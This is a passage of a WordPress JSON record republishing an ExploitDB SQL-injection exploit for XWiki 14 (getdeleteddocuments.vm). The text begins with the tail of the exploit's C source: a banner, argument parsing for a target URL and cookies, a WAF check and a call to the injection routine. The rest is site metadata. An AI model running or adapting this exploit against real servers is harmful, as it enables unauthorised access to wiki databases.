“\u28ff\u28c1\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28c7\u2830\u28c4\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2838\u28ff\u287f\u2801\u2800\u2800\u2800\u2800\u2800\u2880\u28fc\u28f5\u285e\u2801\u2880\u2854\u2800\u28ff\u28c1\u28fc\u2805\u28e7\u2801\u2818\u28ff\u287c\u280b\u28b8\u2846\u2800\u28b7\u28b8\u2800\u2800\u2800\u2800\u2800\u2800\u2800\\n”
\n
“\u284f\u2808\u2809\u2832\u28c4\u2840\u2800\u2800\u2880\u28c0\u28e4\u28f6\u28ff\u28ff\u2800\u2888\u2819\u2836\u28a6\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u2874\u280b\u2801\u28b8\u2803\u2889\u287f\u2800\u2800\u28b8\u28fd\u2803\u2800\u2839\u28c4\u28fc\u2837\u2803\u2800\u2800\u28b3\u2800\u2818\u28ef\u28a7\u2800\u2800\u2800\u2800\u2800\u2800\\n”
\n
“\u28e4\u28e4\u28e4\u28e4\u28e4\u28fd\u28f7\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u2847\u2800\u2819\u2832\u28e4\u2808\u2819\u2832\u28e4\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28f4\u28ec\u28e4\u2824\u2816\u281a\u281b\u2809\u2800\u2800\u2800\u2800\u28ff\u2800\u2800\u2800\u28ff\u2801\u2800\u2800\u2800\u2880\u28fc\u2803\u28b0\u284f\u2800\u2801\u2800\u2800\u2800\u2800\u2800\\n”
\n
“\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28e7\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u2874\u281e\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u287c\u2801\u2800\u2800\u28fc\u2819\u2802\u2800\u28c0\u2876\u280b\u2880\u28e0\u281e\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\\n ”
\n
“\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28f4\u280b\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28e0\u2834\u281a\u2809\u2800\u2800\u2880\u2874\u2801\u2800\u28e0\u281e\u2881\u28f4\u28be\u28ef\u28c4\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\\n”
\n
“\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f7\u28e4\u28c0\u28c0\u28c0\u28c0\u28c0\u28c0\u28c0\u2860\u28a4\u281e\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28e0\u2824\u281e\u280b\u2881\u28c0\u28e0\u2824\u2834\u281a\u2809\u28c0\u28e0\u281c\u2881\u2874\u28ff\u28e7\u28f8\u28ff\u28ff\u28ff\u28ff\u28ff\u28f7\u28f6\u28f6\u28e6\u28e4\u28c4 \\n”
\n
“\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u2809\u283b\u28c5\u2800\u2800\u2800\u2800\u285e\u2800\u2800\u2800\u2800\u2800\u2880\u28e0\u2816\u280b\u2801\u2800\u2812\u280a\u2809\u2801\u2800\u2800\u2800\u2880\u28c0\u28ed\u28e4\u2856\u288b\u28fc\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff \\n”
\n
“\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f7\u2840\u2808\u2813\u2826\u28c4\u28f8\u2801\u2800\u2800\u2800\u2800\u2800\u2808\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u2864\u2834\u28ba\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u2880\u28fe\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff \\n”
\n
“\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f7\u28c4\u2800\u2800\u2800\u28bb\u28c0\u28c0\u2864\u2834\u2836\u2836\u2836\u2836\u2826\u28a4\u28e4\u2816\u280b\u2801\u2800\u28f0\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u287f \\n”
\n
“\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f7\u28e4\u28c0\u285e\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28f7\u2880\u28f4\u28fe\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u287f\u280b\u2800\\n”
\n
“\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u2800\u2800\u2800\u2800\u28c0\u2864\u2834\u2836\u2836\u2836\u28a4\u28c0\u28fc\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u287f\u280b\u2800\u2800\u2800\\n”
\n
“\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28e7\u28c0\u2874\u280b\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28bf\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u280b\u2800\u2800\u2800\u2800\u2800\\n”<\/p>\n
);
\n
const char *name = “\\e[1;37m\\t\\t\\t[ Byte Reaper ]\\e[0m\\n”;
\n
int s = 0;
\n
while (name[s] != ‘\\0’)
\n
{
\n
printf(“%c”, name[s]);
\n
fflush(stdout);
\n
usleep(100000);
\n
s++;
\n
}<\/p>\n
printf(“———————————————————————\\n”);
\n
struct argparse_option options[] =
\n
{
\n
OPT_HELP(),
\n
OPT_STRING(‘u’,
\n
“url”,
\n
&yourUrl,
\n
“Target Url (Base URL)”),
\n
OPT_STRING(‘c’,
\n
“cookies”,
\n
&cookies,
\n
“cookies File”),
\n
OPT_BOOLEAN(‘v’,
\n
“verbose”,
\n
&verbose,
\n
“Verbose Mode”),
\n
OPT_END(),
\n
};
\n
struct argparse argparse;
\n
argparse_init(&argparse,
\n
options,
\n
NULL,
\n
0);<\/p>\n
argparse_parse(&argparse,
\n
argc,
\n
argv);
\n
if (!yourUrl)
\n
{
\n
printf(“\\e[1;31m[-] Please Enter Your Url !\\e[0m\\n”);
\n
printf(“\\e[1;31m[-] Ex : .\/exploit -u http:\/\/URL\\\\e[0mn”);
\n
printf(“\\e[1;31m[-] Exit Syscall\\e[0m\\n”);
\n
exitAssembly();
\n
}
\n
checkWaf(yourUrl);
\n
printf(“———————————————————————\\e[0m\\n\\n”);
\n
printf(“[+] Start Exploit Sql…\\e[0m\\n”);
\n
if (cookies)
\n
{
\n
selecetCookie = 1;
\n
}
\n
if (verbose)
\n
{
\n
verbose = 1;
\n
}
\n
injection(yourUrl);
\n
return 0;
\n
}\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title XWiki 14 – SQL Injection via getdeleteddocuments.vm Exploit ID EDB-ID:52384 Type exploitdb Published 2025-07-28T00:00:00 Modified 2025-07-28T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,40,13,7,11,5],"class_list":["post-9195","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
XWiki 14 - SQL Injection via getdeleteddocuments.vm - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=9195\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"XWiki 14 - SQL Injection via getdeleteddocuments.vm - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title XWiki 14 – SQL Injection via getdeleteddocuments.vm Exploit ID EDB-ID:52384 Type exploitdb Published 2025-07-28T00:00:00 Modified 2025-07-28T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=9195\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-29T03:38:26+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9195#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9195\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"XWiki 14 – SQL Injection via getdeleteddocuments.vm\",\"datePublished\":\"2025-07-29T03:38:26+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9195\"},\"wordCount\":2237,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.3\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=9195#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9195\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9195\",\"name\":\"XWiki 14 - SQL Injection via getdeleteddocuments.vm - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-07-29T03:38:26+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9195#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=9195\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9195#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"XWiki 14 – SQL Injection via getdeleteddocuments.vm\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"XWiki 14 - SQL Injection via getdeleteddocuments.vm - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=9195","og_locale":"en_US","og_type":"article","og_title":"XWiki 14 - SQL Injection via getdeleteddocuments.vm - zero redgem","og_description":"Exploit Details Basic Information Exploit Title XWiki 14 – SQL Injection via getdeleteddocuments.vm Exploit ID EDB-ID:52384 Type exploitdb Published 2025-07-28T00:00:00 Modified 2025-07-28T00:00:00 CVSS Information CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=9195","og_site_name":"zero redgem","article_published_time":"2025-07-29T03:38:26+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=9195#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=9195"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"XWiki 14 – SQL Injection via getdeleteddocuments.vm","datePublished":"2025-07-29T03:38:26+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=9195"},"wordCount":2237,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.3","exploit","exploitdb","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=9195#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=9195","url":"https:\/\/zero.redgem.net\/?p=9195","name":"XWiki 14 - SQL Injection via getdeleteddocuments.vm - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-07-29T03:38:26+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=9195#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=9195"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=9195#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"XWiki 14 – SQL Injection via getdeleteddocuments.vm"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/9195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9195"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/9195\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9195"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}